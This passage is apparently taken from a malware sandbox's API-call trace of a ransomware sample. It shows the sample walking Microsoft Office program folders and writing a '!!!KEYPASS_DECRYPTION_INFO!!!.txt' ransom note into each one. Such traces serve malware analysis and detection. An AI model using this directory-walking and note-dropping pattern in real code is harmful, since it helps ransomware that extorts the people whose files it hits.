Office\\root\\Office16\\PUBWIZ\\PULLQUOTEBB.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PULQOT98.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\QP.DPV") returned=".DPV" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\QP.XML") returned=".XML" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\QUIKPUBS.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\REPTWIZ.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RES98.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RESP98.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RESUME.DPV") returned=".DPV" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RESUME.XML") returned=".XML" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RSPMECH.POC") returned=".POC" [0264.853] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDBAR98.POC") returned=".POC" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARBB.DPV") returned=".DPV" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARBB.POC") returned=".POC" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARVERTBB.DPV") returned=".DPV" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARVERTBB.POC") returned=".POC" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGN.DPV") returned=".DPV" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGN.XML") returned=".XML" [0264.854] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGN98.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGNHM.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SNIPE.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYBB.DPV") returned=".DPV" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYBB.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYVERTBB.DPV") returned=".DPV" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYVERTBB.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STRBRST.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\TEAROFF.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\TOC98.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WCOMP98.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEB11.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBCALSO.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBEMAIL.POC") returned=".POC" [0264.855] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBHED98.POC") returned=".POC" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBHOME.POC") returned=".POC" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBLINK.POC") returned=".POC" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBPAGE.DPV") returned=".DPV" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBPAGE.XML") returned=".XML" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WITHCOMP.DPV") returned=".DPV" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WITHCOMP.XML") returned=".XML" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WORDREP.DPV") returned=".DPV" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WORDREP.XML") returned=".XML" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WPULQT98.POC") returned=".POC" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WSIDBR98.POC") returned=".POC" [0264.856] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.856] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.856] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.856] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.857] GetLastError () returned 0x3f0 [0264.857] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.857] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\queries\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xba4 [0264.858] GetFileType (hFile=0xba4) returned 0x1 [0264.859] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.859] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.859] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.859] WriteFile (in: hFile=0xba4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.860] WriteFile (in: hFile=0xba4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.860] CloseHandle (hObject=0xba4) returned 1 [0264.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2bd88 [0264.860] FindNextFileW (in: hFindFile=0x4e2bd88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.860] FindNextFileW (in: hFindFile=0x4e2bd88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.860] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.860] FindNextFileW (in: hFindFile=0x4e2bd88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.860] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.860] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\rdpqoemetrics.dll") returned=".dll" [0264.860] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.860] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\react-native-win32.dll") returned=".dll" [0264.860] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\RECALL.DLL") returned=".DLL" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\REFEDIT.DLL") returned=".DLL" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV") returned=".WAV" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\REPORT.DLL") returned=".DLL" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Resources.pri") returned=".pri" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\roottools.dll") returned=".dll" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM") returned=".ICM" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\RTC.DLL") returned=".DLL" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmcodecs.dll") returned=".dll" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmmediamanager.dll") returned=".dll" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmmvras.dll") returned=".dll" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\rtmmvrcs.dll") returned=".dll" [0264.861] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\rtmmvrhw.dll") returned=".dll" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmmvrsplitter.dll") returned=".dll" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmpal.dll") returned=".dll" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\RTMPLTFM.dll") returned=".dll" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\rtmvc1decmft.dll") returned=".dll" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\runtime-20.win32.bundle") returned=".bundle" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\runtime-99.win32.bundle") returned=".bundle" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAEXT.DLL") returned=".DLL" [0264.862] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.862] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.862] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.862] GetLastError () returned 0x3f0 [0264.862] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.862] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\samples\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xba8 [0264.863] GetFileType (hFile=0xba8) returned 0x1 [0264.863] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.863] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.863] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.863] WriteFile (in: hFile=0xba8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.864] WriteFile (in: hFile=0xba8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.864] CloseHandle (hObject=0xba8) returned 1 [0264.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2a288 [0264.865] FindNextFileW (in: hFindFile=0x4e2a288, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.865] FindNextFileW (in: hFindFile=0x4e2a288, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.865] FindNextFileW (in: hFindFile=0x4e2a288, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\SOLVSAMP.XLS") returned=".XLS" [0264.865] FindNextFileW (in: hFindFile=0x4e2a288, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAVASWEB.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAVWBHF.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAVWBRAS.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAVWBVML.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAVWBXAML.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE") returned=".EXE" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\scdec.dll") returned=".dll" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCNPST32.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCNPST64.DLL") returned=".DLL" [0264.865] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCNPST64C.DLL") returned=".DLL" [0264.866] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.866] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.866] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.866] GetLastError () returned 0x3f0 [0264.866] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\sdxs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\sdxs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.866] PathFileExistsW (pszPath="C:\\Program 